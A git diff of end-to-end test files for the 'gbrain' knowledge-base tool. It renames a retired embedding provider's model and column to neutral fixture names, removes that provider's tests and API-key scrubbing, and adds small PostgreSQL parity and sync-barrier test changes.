+ * - Halfvec column: ALTER TABLE ADD `embedding_fixture halfvec(2560)` and
* confirm the `$1::halfvec(2560)` cast works.
* - Image branch unaffected: `embedding_image` still works via the
* existing operations.ts path.
@@ -47,13 +47,13 @@ beforeAll(async () => {
await engine.connect({});
await engine.initSchema();
- // Add the ad-hoc Voyage + ZE columns the way a user with a multi-provider
+ // Add the ad-hoc Voyage + synthetic columns the way a user with a multi-provider
// brain has done it (outside the committed schema, per-instance ALTER).
await (engine as any).db.exec(
`ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_voyage vector(1024)`,
);
await (engine as any).db.exec(
- `ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_ze halfvec(2560)`,
+ `ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_fixture halfvec(2560)`,
);
// Two pages with one chunk each.
@@ -133,20 +133,20 @@ describe('PGLite engine: searchVector accepts ResolvedColumn descriptor (D11)',
const ze1 = `[${new Array(2560).fill(0.5).join(',')}]`;
const ze2 = `[${new Array(2560).fill(0.6).join(',')}]`;
await (engine as any).db.query(
- `UPDATE content_chunks SET embedding_ze = $1::halfvec WHERE id = $2`,
+ `UPDATE content_chunks SET embedding_fixture = $1::halfvec WHERE id = $2`,
[ze1, chunkIdA],
);
await (engine as any).db.query(
- `UPDATE content_chunks SET embedding_ze = $1::halfvec WHERE id = $2`,
+ `UPDATE content_chunks SET embedding_fixture = $1::halfvec WHERE id = $2`,
[ze2, chunkIdB],
);
const queryVec = new Float32Array(2560).fill(0.5);
const descriptor: ResolvedColumn = {
- name: 'embedding_ze',
+ name: 'embedding_fixture',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
const results = await engine.searchVector(queryVec, {
embeddingColumn: descriptor,
@@ -221,12 +221,12 @@ describe('hybridSearch + resolver — unknown column at entry (D11)', () => {
describe('upsertChunks — model provenance uses gateway-resolved model, not compiled default', () => {
// Regression (zbrain-rfi): when a caller builds ChunkInputs without an
// explicit `model` (as src/commands/embed.ts does), the engine used to
- // stamp the compile-time DEFAULT_EMBEDDING_MODEL ('zeroentropyai:zembed-1')
+ // stamp the compile-time DEFAULT_EMBEDDING_MODEL ('fixture-provider:embedding-v1')
// onto content_chunks.model — even though the vector was produced by the
// config-resolved model. That corrupted provenance the signature-drift +
// dim-migration logic trusts. The engine must fall back to the model the
// gateway ACTUALLY resolves at write time.
- test('unspecified chunk.model records the resolved model, not zeroentropyai:zembed-1', async () => {
+ test('unspecified chunk.model records the resolved model, not fixture-provider:embedding-v1', async () => {
configureGateway({
embedding_model: 'openai:text-embedding-3-large',
embedding_dimensions: 1536,
@@ -250,7 +250,7 @@ describe('upsertChunks — model provenance uses gateway-resolved model, not com
);
expect(rows.length).toBe(1);
expect(rows[0].model).toBe('openai:text-embedding-3-large');
- expect(rows[0].model).not.toBe('zeroentropyai:zembed-1');
+ expect(rows[0].model).not.toBe('fixture-provider:embedding-v1');
resetGateway();
});
@@ -357,13 +357,13 @@ describe('buildVectorCastFragment — engine SQL composer (D3)', () => {
test('halfvec descriptor emits $1::halfvec(N) with parenthesized N', () => {
const r: ResolvedColumn = {
- name: 'embedding_ze',
+ name: 'embedding_fixture',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
const { col, castSql } = buildVectorCastFragment(r);
- expect(col).toBe('"embedding_ze"');
+ expect(col).toBe('"embedding_fixture"');
expect(castSql).toBe('$1::halfvec(2560)');
});
});
diff --git a/test/e2e/embedding-column-postgres.test.ts b/test/e2e/embedding-column-postgres.test.ts
index 8514d7dfa8..496e469443 100644
--- a/test/e2e/embedding-column-postgres.test.ts
+++ b/test/e2e/embedding-column-postgres.test.ts
@@ -43,12 +43,12 @@ if (!dbUrl) {
await engine.executeRaw(`DELETE FROM content_chunks`);
await engine.executeRaw(`DELETE FROM pages WHERE slug LIKE 'docs/%'`);
- // Add the ad-hoc Voyage + ZE columns + HNSW indexes.
+ // Add the ad-hoc Voyage + synthetic columns + HNSW indexes.
await engine.executeRaw(
`ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_voyage vector(1024)`,
);
await engine.executeRaw(
- `ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_ze halfvec(2560)`,
+ `ALTER TABLE content_chunks ADD COLUMN IF NOT EXISTS embedding_fixture halfvec(2560)`,
);
await engine.executeRaw(
`CREATE INDEX IF NOT EXISTS idx_chunks_embedding_voyage
@@ -83,8 +83,8 @@ if (!dbUrl) {
const vec2560 = (v: number) => `[${new Array(2560).fill(v).join(',')}]`;
await engine.executeRaw(`UPDATE content_chunks SET embedding_voyage = '${vec1024(0.5)}'::vector WHERE id = ${catId}`);
await engine.executeRaw(`UPDATE content_chunks SET embedding_voyage = '${vec1024(0.7)}'::vector WHERE id = ${dogId}`);
- await engine.executeRaw(`UPDATE content_chunks SET embedding_ze = '${vec2560(0.5)}'::halfvec WHERE id = ${catId}`);
- await engine.executeRaw(`UPDATE content_chunks SET embedding_ze = '${vec2560(0.7)}'::halfvec WHERE id = ${dogId}`);
+ await engine.executeRaw(`UPDATE content_chunks SET embedding_fixture = '${vec2560(0.5)}'::halfvec WHERE id = ${catId}`);
+ await engine.executeRaw(`UPDATE content_chunks SET embedding_fixture = '${vec2560(0.7)}'::halfvec WHERE id = ${dogId}`);
});
afterAll(async () => {
@@ -95,10 +95,10 @@ if (!dbUrl) {
test('halfvec(2560) cast accepted; results returned in expected cosine order', async () => {
const queryVec = new Float32Array(2560).fill(0.5);
const descriptor: ResolvedColumn = {
- name: 'embedding_ze',
+ name: 'embedding_fixture',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
const results = await engine.searchVector(queryVec, {
embeddingColumn: descriptor,
@@ -155,7 +155,7 @@ if (!dbUrl) {
AND c.relname = 'content_chunks'
AND a.attname = ANY($1::text[])
AND NOT a.attisdropped`,
- [['embedding', 'embedding_voyage', 'embedding_ze']],
+ [['embedding', 'embedding_voyage', 'embedding_fixture']],
);
const byName = new Map<string, string>();
for (const r of rows) byName.set(r.attname, r.formatted);
@@ -164,8 +164,8 @@ if (!dbUrl) {
expect(byName.get('embedding')).toMatch(/^vector\(\d+\)/);
// Voyage is vector(1024) per the ALTER above.
expect(byName.get('embedding_voyage')).toBe('vector(1024)');
- // ZE is halfvec(2560) per the ALTER above.
- expect(byName.get('embedding_ze')).toBe('halfvec(2560)');
+ // synthetic is halfvec(2560) per the ALTER above.
+ expect(byName.get('embedding_fixture')).toBe('halfvec(2560)');
});
test('format_type catches dim drift: declared 1536 vs actual 1024', async () => {
diff --git a/test/e2e/eval-replay-column.test.ts b/test/e2e/eval-replay-column.test.ts
index 368e102a1f..9913e59f09 100644
--- a/test/e2e/eval-replay-column.test.ts
+++ b/test/e2e/eval-replay-column.test.ts
@@ -78,14 +78,14 @@ describe('eval_candidates.embedding_column persistence (D16)', () => {
const id = await engine.logEvalCandidate({
...baseRow,
query: 'list-readback test',
- embedding_column: 'embedding_ze',
+ embedding_column: 'embedding_fixture',
});
const list = await engine.listEvalCandidates({ limit: 100 });
const found = list.find(r => r.id === id);
expect(found).toBeDefined();
// Cast-through-unknown rowToEvalCandidate doesn't exist; SELECT *
// carries `embedding_column` as a column with the same key name.
- expect((found as any).embedding_column).toBe('embedding_ze');
+ expect((found as any).embedding_column).toBe('embedding_fixture');
});
test('back-compat: missing embedding_column coalesces to NULL at insert', async () => {
diff --git a/test/e2e/fresh-install-pglite.test.ts b/test/e2e/fresh-install-pglite.test.ts
index a15186876a..7ecff0a2cb 100644
--- a/test/e2e/fresh-install-pglite.test.ts
+++ b/test/e2e/fresh-install-pglite.test.ts
@@ -3,7 +3,7 @@
*
* The headline behavior the v0.37 fix wave exists to fix. Pre-fix, this
* exact path broke: schema sized to 1536 (stale default), embed pipeline
- * used ZE/1280, first chunk insert failed with vector dim mismatch.
+ * used Voyage/1024, first chunk insert failed with vector dim mismatch.
*
* Hermetic: in-process (NOT a CLI subprocess), GBRAIN_HOME pinned to a
* tmpdir, embed transport stubbed via `__setEmbedTransportForTests` so we
@@ -30,13 +30,13 @@ import {
describe('E2E: fresh gbrain init --pglite → import → embed works end-to-end', () => {
let tmpHome: string;
let origHome: string | undefined;
- // v0.46.3: the single-ready provider for a fresh install is VOYAGE (ZE is
+ // v0.46.3: the single-ready provider for a fresh install is VOYAGE (unsupported providers are
// sunset-excluded from auto-pick). Scrub EVERY embedding-capable key a dev
// machine might carry so init sees exactly one ready provider — otherwise
// ambient multi-provider env (Garry's setup) fails the disambiguation gate
// before the test body runs.
const SCRUB_KEYS = [
- 'ZEROENTROPY_API_KEY',
+
'OPENAI_API_KEY',
'VOYAGE_API_KEY',
'OPENROUTER_API_KEY',
@@ -132,10 +132,6 @@ describe('E2E: fresh gbrain init --pglite → import → embed works end-to-end'
expect(cfg.embedding_model).toBe(NEW_INSTALL_DEFAULT_EMBEDDING_MODEL);
expect(cfg.embedding_dimensions).toBe(NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS);
- // The actual schema column dim matches, and the voyage-picked install
- // wrote the explicit reranker override (v0.46.3 split-default: the bundle
- // default stays legacy-ZE, so a fresh voyage brain needs this config or
- // it resolves a reranker whose key it doesn't have).
const { PGLiteEngine } = await import('../../src/core/pglite-engine.ts');
const engine = new PGLiteEngine();
await engine.connect({ database_path: cfg.database_path, engine: 'pglite' });
@@ -199,40 +195,6 @@ describe('E2E: fresh gbrain init --pglite → import → embed works end-to-end'
}
}, 60000);
- test('explicit --embedding-model on a sunset provider proceeds WITH a loud warning (D3 allow-explicit)', async () => {
- resetGateway();
- process.env.ZEROENTROPY_API_KEY = 'ze-test-explicit';
- const synthVec = Array.from({ length: 1280 }, () => 0.01);
- __setEmbedTransportForTests(async (args: any) => ({
- embeddings: args.values.map(() => synthVec),
- }) as any);
- const origLog = console.log;
- const origWarn = console.warn;
- const origError = console.error;
- let errBuf = '';
- console.log = () => {};
- console.warn = () => {};
- console.error = (...args: unknown[]) => { errBuf += args.join(' ') + '\n'; };
- try {
- const { runInit } = await import('../../src/commands/init.ts');
- await runInit([
- '--pglite', '--non-interactive',
- '--embedding-model', 'zeroentropyai:zembed-1',
- '--embedding-dimensions', '1280',
- ]);
- const cfg = JSON.parse(readFileSync(join(tmpHome, '.gbrain', 'config.json'), 'utf-8'));
- // Allowed until the September removal — explicit choice is honored...
- expect(cfg.embedding_model).toBe('zeroentropyai:zembed-1');
- // ...but never silently: the sunset warning names the date + escape route.
- expect(errBuf).toContain('2026-09-04');
- expect(errBuf).toContain('migrate embeddings');
- } finally {
- console.log = origLog;
- console.warn = origWarn;
- console.error = origError;
- }
- }, 30000);
-
test('v0.46.3: keyed NON-voyage install disables the reranker explicitly (no doomed legacy default)', async () => {
resetGateway();
delete process.env.VOYAGE_API_KEY;
@@ -251,7 +213,7 @@ describe('E2E: fresh gbrain init --pglite → import → embed works end-to-end'
await engine.connect({ database_path: cfg.database_path, engine: 'pglite' });
try {
// No voyage key on either plane → the fresh brain must not silently
- // inherit the legacy sunset bundle reranker it has no key for.
+ // inherit the unavailable bundle reranker it has no key for.
expect(await engine.getConfig('search.reranker.model')).toBeNull();
expect(await engine.getConfig('search.reranker.enabled')).toBe('false');
} finally {
diff --git a/test/e2e/helpers.ts b/test/e2e/helpers.ts
index 740ab120fa..86a0288176 100644
--- a/test/e2e/helpers.ts
+++ b/test/e2e/helpers.ts
@@ -99,6 +99,9 @@ export async function setupDB(): Promise<PostgresEngine> {
// Some tables (e.g. v0.28 takes/synthesis_evidence) only exist after
// migrations run via engine.connect() below, so skip non-existent tables.
const conn = db.getConnection();
+ const embeddingIdentity = await conn.unsafe<Array<{ key: string; value: string }>>(
+ `SELECT key, value FROM config WHERE key IN ('embedding_model', 'embedding_dimensions')`,
+ );
for (const table of ALL_TABLES) {
try {
await conn.unsafe(`TRUNCATE ${table} CASCADE`);
@@ -113,6 +116,9 @@ export async function setupDB(): Promise<PostgresEngine> {
INSERT INTO config (key, value) VALUES ('schema_version', '1')
ON CONFLICT (key) DO NOTHING
`);
+ for (const row of embeddingIdentity) {
+ await conn.unsafe('INSERT INTO config (key, value) VALUES ($1, $2)', [row.key, row.value]);
+ }
// Reset leaked brain identity: `sources` is not in ALL_TABLES (the default
// row must survive), but rows/columns written by earlier files or runs
diff --git a/test/e2e/import-credential-preflight.test.ts b/test/e2e/import-credential-preflight.test.ts
index 61d8edcead..24df5b17af 100644
--- a/test/e2e/import-credential-preflight.test.ts
+++ b/test/e2e/import-credential-preflight.test.ts
@@ -44,7 +44,7 @@ beforeEach(() => {
function runCli(args: string[], env: Record<string, string | undefined>): { code: number; stdout: string; stderr: string } {
const fullEnv: Record<string, string | undefined> = { ...(process.env as Record<string, string | undefined>), GBRAIN_HOME: tmpHome, ...env };
- for (const k of ['OPENAI_API_KEY', 'VOYAGE_API_KEY', 'ZEROENTROPY_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'ANTHROPIC_API_KEY']) {
+ for (const k of ['OPENAI_API_KEY', 'VOYAGE_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'ANTHROPIC_API_KEY']) {
if (!(k in env)) delete fullEnv[k];
}
for (const k of Object.keys(fullEnv)) if (fullEnv[k] === undefined) delete fullEnv[k];
diff --git a/test/e2e/init-fresh-pglite.test.ts b/test/e2e/init-fresh-pglite.test.ts
index 4b85151778..247c0eb572 100644
--- a/test/e2e/init-fresh-pglite.test.ts
+++ b/test/e2e/init-fresh-pglite.test.ts
@@ -136,7 +136,7 @@ describe('v0.45 DX wave — non-TTY no-key defaults to keyless (typo still fail-
const multiHome = makeTempHome();
try {
// v0.46.3: the canonical new-install default is voyage:voyage-4
- // (NEW_INSTALL_DEFAULT_EMBEDDING_MODEL); a ZE key no longer counts —
+ // (NEW_INSTALL_DEFAULT_EMBEDDING_MODEL); a unrecognized key no longer counts —
// sunset recipes are excluded from auto-pick entirely.
const r = await runCli(['init', '--pglite', '--non-interactive'], {
gbrainHome: multiHome,
@@ -157,25 +157,6 @@ describe('v0.45 DX wave — non-TTY no-key defaults to keyless (typo still fail-
rmSync(multiHome, { recursive: true, force: true });
}
}, 240000);
-
- test('--non-interactive with ONLY a sunset-provider key continues keyless (ZE excluded)', async () => {
- const zeHome = makeTempHome();
- try {
- const r = await runCli(['init', '--pglite', '--non-interactive'], {
- gbrainHome: zeHome,
- env: { ZEROENTROPY_API_KEY: 'ze-test-only-for-init-resolution-NOT-CALLED' },
- });
- // Sunset exclusion means zero READY providers → keyless continue, not
- // an auto-pick onto a provider that dies 2026-09-04.
- expect(r.exitCode).toBe(0);
- expect(r.stderr).toContain('keyless');
- const cfg = JSON.parse(readFileSync(join(zeHome, '.gbrain', 'config.json'), 'utf-8'));
- expect(cfg.embedding_disabled).toBe(true);
- expect(cfg.embedding_model).toBeUndefined();
- } finally {
- rmSync(zeHome, { recursive: true, force: true });
- }
- }, 240000);
});
// ============================================================================
diff --git a/test/e2e/managed-atom-regressions.test.ts b/test/e2e/managed-atom-regressions.test.ts
index 3904a9dd38..a35db9084e 100644
--- a/test/e2e/managed-atom-regressions.test.ts
+++ b/test/e2e/managed-atom-regressions.test.ts
@@ -1,7 +1,7 @@
import { afterAll, beforeAll, describe, test } from 'bun:test';
import { configureGateway, resetGateway } from '../../src/core/ai/gateway.ts';
import { isolatedPersistencePostgres } from '../helpers/persistence-postgres.ts';
-import { retryStates, retryEdits, exerciseAtomRetryFence, atomWriteThroughValues, atomOwnerStates, exerciseAtomWriteThroughPolicy, atomDisabledAuthorityCases, exerciseAtomDisabledAuthority } from '../helpers/managed-atom-regressions.ts';
+import { retryStates, retryEdits, exerciseAtomRetryFence, exerciseAtomRetrySourceIsolation, atomWriteThroughValues, atomOwnerStates, exerciseAtomWriteThroughPolicy, atomDisabledAuthorityCases, exerciseAtomDisabledAuthority } from '../helpers/managed-atom-regressions.ts';
(process.env.DATABASE_URL ? describe : describe.skip)('managed atom retry and storage policy PostgreSQL parity', () => {
let fixture: Awaited<ReturnType<typeof isolatedPersistencePostgres>>;
@@ -10,6 +10,11 @@ import { retryStates, retryEdits, exerciseAtomRetryFence, atomWriteThroughValues
fixture = await isolatedPersistencePostgres(process.env.DATABASE_URL!);
}, 120_000);
afterAll(async () => { await fixture?.close(); resetGateway(); });
+ test('retry fault stays scoped while an older source retry drains', async () => {
+ const isolated = await isolatedPersistencePostgres(process.env.DATABASE_URL!);
+ try { await exerciseAtomRetrySourceIsolation(isolated.engine); }
+ finally { await isolated.close(); }
+ }, 120_000);
for (const state of retryStates) for (const edit of retryEdits) {
test(`retry ${state} preserves reviewed target ${edit}`, () => exerciseAtomRetryFence(fixture.engine, state, edit), 60_000);
}
diff --git a/test/e2e/mechanical.test.ts b/test/e2e/mechanical.test.ts
index fdb5618c97..4e85265b2d 100644
--- a/test/e2e/mechanical.test.ts
+++ b/test/e2e/mechanical.test.ts
@@ -1388,8 +1388,8 @@ describeE2E('E2E: Doctor Command', () => {
test('gbrain doctor exits 0 on healthy DB', () => {
// Init first so config exists for CLI. Pin --embedding-model explicitly
- // so the spawned doctor doesn't pick a different default (e.g. ZE-1280d
- // when ZEROENTROPY_API_KEY is in env) that mismatches the fixture's
+ // so the spawned doctor doesn't pick a different default (e.g. Voyage-1024d
+ // when VOYAGE_API_KEY is in env) that mismatches the fixture's
// 1536d schema. Mirrors the same pattern in 'Setup Journey'.
const init = Bun.spawnSync({
cmd: ['bun', 'run', 'src/cli.ts', 'init', '--non-interactive',
diff --git a/test/e2e/migrate-embeddings-postgres.test.ts b/test/e2e/migrate-embeddings-postgres.test.ts
index 90dd16ef5a..ee18bc72f4 100644
--- a/test/e2e/migrate-embeddings-postgres.test.ts
+++ b/test/e2e/migrate-embeddings-postgres.test.ts
@@ -31,7 +31,7 @@ import {
migrationSignature,
MIGRATION_STATE_KEY,
} from '../../src/core/embedding-migration.ts';
-import { runSchemaTransition } from '../../src/core/retrieval-upgrade-planner.ts';
+import { runSchemaTransition } from '../../src/core/embedding-migration.ts';
import type { ChunkInput } from '../../src/core/types.ts';
const RUN = hasDatabase();
@@ -147,7 +147,7 @@ d('embedding migration (live Postgres + pgvector)', () => {
// Brain state: one current-signature page, one pre-v108 NULL-signature
// page, one never-embedded page.
- await seedEmbedded('mig/current', 'aaaaa', migrationSignature('zeroentropyai:zembed-1', originalDims));
+ await seedEmbedded('mig/current', 'aaaaa', migrationSignature('fixture-provider:embedding-v1', originalDims));
await seedEmbedded('mig/legacy', 'bbbbb', null);
await engine.putPage('mig/pending', { type: 'note', title: 'pending', compiled_truth: '# pending' });
await installFixtureChunks(engine, 'mig/pending', [
@@ -157,7 +157,7 @@ d('embedding migration (live Postgres + pgvector)', () => {
const plan = await planEmbeddingMigration(engine, {
to: toModel,
dim: targetDims,
- fromModel: 'zeroentropyai:zembed-1',
+ fromModel: 'fixture-provider:embedding-v1',
fromDims: originalDims,
});
expect(plan.dim_change).toBe(true);
diff --git a/test/e2e/mounts-routing-pglite.test.ts b/test/e2e/mounts-routing-pglite.test.ts
index d2553a15d6..9240fa6506 100644
--- a/test/e2e/mounts-routing-pglite.test.ts
+++ b/test/e2e/mounts-routing-pglite.test.ts
@@ -90,7 +90,7 @@ describe('mounts routing journey (e2e, PGLite, real CLI spawns)', () => {
'GBRAIN_BRAIN_ID', 'GBRAIN_SOURCE',
// auth/provider keys — hermetic runs must never authenticate.
'GBRAIN_REMOTE_CLIENT_SECRET', 'ANTHROPIC_API_KEY', 'OPENAI_API_KEY',
- 'VOYAGE_API_KEY', 'ZEROENTROPY_API_KEY',
+ 'VOYAGE_API_KEY',
]) delete env[k];
env.HOME = home; // homedir() → <home>/.gbrain/mounts.json
env.GBRAIN_HOME = home; // configDir() → <home>/.gbrain/config.json
diff --git a/test/e2e/persistence-publication-parity.test.ts b/test/e2e/persistence-publication-parity.test.ts
new file mode 100644
index 0000000000..398493c511
--- /dev/null
+++ b/test/e2e/persistence-publication-parity.test.ts
@@ -0,0 +1,8 @@
+import { test } from 'bun:test';
+import { hasDatabase } from './helpers.ts';
+
+if (hasDatabase()) {
+ await import('../persistence-publication-native.serial.test.ts');
+} else {
+ test.skip('publication parity requires PostgreSQL', () => {});
+}
diff --git a/test/e2e/persistence-sync-company-parity.test.ts b/test/e2e/persistence-sync-company-parity.test.ts
new file mode 100644
index 0000000000..2a7416acfa
--- /dev/null
+++ b/test/e2e/persistence-sync-company-parity.test.ts
@@ -0,0 +1,8 @@
+import { test } from 'bun:test';
+import { hasDatabase } from './helpers.ts';
+
+if (hasDatabase()) {
+ await import('../persistence-sync-company.serial.test.ts');
+} else {
+ test.skip('company sync parity requires PostgreSQL', () => {});
+}
diff --git a/test/e2e/persistence-sync-options-parity.test.ts b/test/e2e/persistence-sync-options-parity.test.ts
new file mode 100644
index 0000000000..f0a0501aa4
--- /dev/null
+++ b/test/e2e/persistence-sync-options-parity.test.ts
@@ -0,0 +1,8 @@
+import { test } from 'bun:test';
+import { hasDatabase } from './helpers.ts';
+
+if (hasDatabase()) {
+ await import('../persistence-sync-options.serial.test.ts');
+} else {
+ test.skip('sync options parity requires PostgreSQL', () => {});
+}
diff --git a/test/e2e/persistence-sync-origin-parity.test.ts b/test/e2e/persistence-sync-origin-parity.test.ts
new file mode 100644
index 0000000000..a2dc3730e2
--- /dev/null
+++ b/test/e2e/persistence-sync-origin-parity.test.ts
@@ -0,0 +1,8 @@
+import { test } from 'bun:test';
+import { hasDatabase } from './helpers.ts';
+
+if (hasDatabase()) {
+ await import('../persistence-sync-origin-native.serial.test.ts');
+} else {
+ test.skip('sync origin parity requires PostgreSQL', () => {});
+}
diff --git a/test/e2e/pglite-cli-exit.serial.test.ts b/test/e2e/pglite-cli-exit.serial.test.ts
index ecdcb6bd3b..a9cbbd0875 100644
--- a/test/e2e/pglite-cli-exit.serial.test.ts
+++ b/test/e2e/pglite-cli-exit.serial.test.ts
@@ -95,7 +95,6 @@ beforeAll(() => {
// runs with --no-embed below and search/get are keyword-only paths.
runEnv = { ...process.env, GBRAIN_HOME: tmpHome };
delete runEnv.VOYAGE_API_KEY;
- delete runEnv.ZEROENTROPY_API_KEY;
delete runEnv.OPENAI_API_KEY;
delete runEnv.ANTHROPIC_API_KEY;
delete runEnv.GOOGLE_API_KEY;
@@ -396,16 +395,6 @@ describe('#2084 — explicit-exit teardown: every swept site exits clean, exit c
}
}, 90_000);
- test('ze-switch --dry-run (Site H) exits without hanging, no banner', async () => {
- const { code, durationMs, stderr } = await runWithTimeout(
- ['ze-switch', '--dry-run'],
- 30_000,
- );
- expect(durationMs).toBeLessThan(30_000);
- expect(stderr).not.toContain(TEARDOWN_BANNER);
- expect(code).not.toBeNull();
- }, 45_000);
-
test('D11: teardown deadline does NOT cover handler time (slow-handler regression)', async () => {
// Post-fix the deadline arms at teardown start, so a 500ms deadline cannot
// touch the handler: results print in full regardless. NOTE the falsification
diff --git a/test/e2e/projection-recovery-parity.test.ts b/test/e2e/projection-recovery-parity.test.ts
index 876a381599..329e502177 100644
--- a/test/e2e/projection-recovery-parity.test.ts
+++ b/test/e2e/projection-recovery-parity.test.ts
@@ -3,6 +3,7 @@ import { hasDatabase } from './helpers.ts';
if (hasDatabase()) {
await import('../page-projection-origin.test.ts');
+ await import('../page-projection-vector-preservation.test.ts');
await import('../page-projection-code-recovery.test.ts');
await import('../code-projection-edge-recovery.test.ts');
await import('../symbol-resolver-projection-race.test.ts');
diff --git a/test/e2e/schema-cathedral.test.ts b/test/e2e/schema-cathedral.test.ts
index c5c5feda4b..7645ef16f8 100644
--- a/test/e2e/schema-cathedral.test.ts
+++ b/test/e2e/schema-cathedral.test.ts
@@ -152,7 +152,7 @@ describe('v0.39 T21 — cache pack isolation in knobsHash', () => {
expansion: false,
searchLimit: 25,
reranker_enabled: false,
- reranker_model: 'zerank-2',
+ reranker_model: 'rerank-2.5',
reranker_top_n_in: 30,
reranker_top_n_out: null,
reranker_timeout_ms: 5000,
diff --git a/test/e2e/serve-http-multi-agent.test.ts b/test/e2e/serve-http-multi-agent.test.ts
index 59cf513e60..101e410d22 100644
--- a/test/e2e/serve-http-multi-agent.test.ts
+++ b/test/e2e/serve-http-multi-agent.test.ts
@@ -77,14 +77,13 @@ const C_SOURCE = 'nova-notes';
// Embedding is FORCED UNAVAILABLE in every serve this file spawns: the
// nightly coverage lane (and dev shells) inject real provider keys, and the
// hammer must not spend. Blanking OPENAI alone is not enough — the gateway's
-// config-less default embedding model is zeroentropyai:zembed-1 (1280-dim,
-// keyed by ZEROENTROPY_API_KEY), and a lane-injected ZE/Voyage/Gemini key
-// would make the serve embed for real: 1280-dim vectors into the 1536-dim
+// config-less default embedding model is voyage:voyage-4 (1024-dim,
+// keyed by VOYAGE_API_KEY), and a lane-injected Voyage/Voyage/Gemini key
+// would make the serve embed for real: 1024-dim vectors into the 1536-dim
// column kill every write with a pgvector dimension error (observed), and
// each one costs money. Blank every embedding-capable provider key.
const NO_EMBED_ENV = {
OPENAI_API_KEY: '',
- ZEROENTROPY_API_KEY: '',
VOYAGE_API_KEY: '',
GEMINI_API_KEY: '',
GOOGLE_API_KEY: '',
diff --git a/test/e2e/sync-credential-preflight.test.ts b/test/e2e/sync-credential-preflight.test.ts
index 3037de66ed..8613b48142 100644
--- a/test/e2e/sync-credential-preflight.test.ts
+++ b/test/e2e/sync-credential-preflight.test.ts
@@ -75,7 +75,7 @@ function runCli(args: string[], env: Record<string, string | undefined>): { code
// Strip ALL provider keys by default — the preflight test is about
// the OPENAI path; other keys would route preflight elsewhere and
// muddy the test signal.
- for (const k of ['OPENAI_API_KEY', 'VOYAGE_API_KEY', 'ZEROENTROPY_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'ANTHROPIC_API_KEY']) {
+ for (const k of ['OPENAI_API_KEY', 'VOYAGE_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'ANTHROPIC_API_KEY']) {
if (!(k in env)) delete fullEnv[k];
}
// Strip any undefined-explicitly-set vars (signals "unset").
diff --git a/test/e2e/sync-delegation-under-serve.serial.test.ts b/test/e2e/sync-delegation-under-serve.serial.test.ts
index b16f7ca52f..64e2070618 100644
--- a/test/e2e/sync-delegation-under-serve.serial.test.ts
+++ b/test/e2e/sync-delegation-under-serve.serial.test.ts
@@ -1,7 +1,7 @@
/** Real CLI → resident owner import, SIGKILL, and same-cursor recovery. */
import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
import { execFileSync } from 'node:child_process';
-import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join, resolve } from 'node:path';
import { createEngine } from '../../src/core/engine-factory.ts';
@@ -18,7 +18,7 @@ const REPO_ROOT = resolve(import.meta.dir, '..', '..');
const SAVED_ENV: Record<string, string | undefined> = {};
const ENV_KEYS = ['GBRAIN_HOME', 'GBRAIN_DATABASE_URL', 'DATABASE_URL', 'GBRAIN_BRAIN_ID',
'GBRAIN_SOURCE', 'GBRAIN_HOOKS', 'GBRAIN_SWEEP', 'GBRAIN_SYNC_NO_DELEGATE'];
-let tmpParent: string, dbDir: string, repo: string;
+let tmpParent: string, dbDir: string, repo: string, claimBarrier: string;
let serveProc: ReturnType<typeof Bun.spawn> | undefined;
let serveStderr = '';
const serveReaders: Promise<void>[] = [];
@@ -89,6 +89,7 @@ beforeAll(async () => {
delete process.env.GBRAIN_DATABASE_URL; delete process.env.DATABASE_URL;
delete process.env.GBRAIN_HOOKS; delete process.env.GBRAIN_SYNC_NO_DELEGATE;
tmpParent = mkdtempSync(join(tmpdir(), 'gb-sds-'));
+ claimBarrier = join(tmpParent, 'durable-sync-claim.json');
mkdirSync(join(tmpParent, '.gbrain'));
dbDir = join(tmpParent, 'db');
process.env.GBRAIN_HOME = tmpParent;
@@ -109,8 +110,8 @@ beforeAll(async () => {
} finally { await engine.disconnect(); }
// First exercise the unactivated compatibility route before opting into
// managed ownership for the crash/recovery pins.
- serveProc = Bun.spawn([process.execPath, join(REPO_ROOT, 'src/cli.ts'), 'serve'], {
- cwd: REPO_ROOT, env: childEnv(), stdin: 'pipe', stdout: 'pipe', stderr: 'pipe',
+ serveProc = Bun.spawn([process.execPath, '--no-env-file', '--preload', join(REPO_ROOT, 'test/fixtures/serve-sync-claim-barrier.ts'), join(REPO_ROOT, 'src/cli.ts'), 'serve'], {
+ cwd: REPO_ROOT, env: { ...childEnv(), GBRAIN_TEST_SYNC_CLAIM_BARRIER: claimBarrier }, stdin: 'pipe', stdout: 'pipe', stderr: 'pipe',
});
serveReaders.push(read(serveProc.stdout as ReadableStream<Uint8Array>, () => {}),
read(serveProc.stderr as ReadableStream<Uint8Array>, value => { serveStderr += value; }));
@@ -138,7 +139,7 @@ describe('serve-delegated sync (real serve + real sync subprocesses)', () => {
.toMatchObject({ compiled_truth: expect.stringContaining('Body for note 0.') });
expect(await operation('get_page', { slug: 'topics/note-0001', source_id: 'workspace' }))
.toMatchObject({ compiled_truth: expect.stringContaining('Body for note 1.') });
- expect(serveStderr).not.toContain('requires ZEROENTROPY_API_KEY');
+ expect(serveStderr).not.toContain('requires VOYAGE_API_KEY');
expect(inspectLockHolder(dbDir).pid).toBe(serveProc!.pid);
}, 120_000);
@@ -165,12 +166,15 @@ describe('serve-delegated sync (real serve + real sync subprocesses)', () => {
const result = await client;
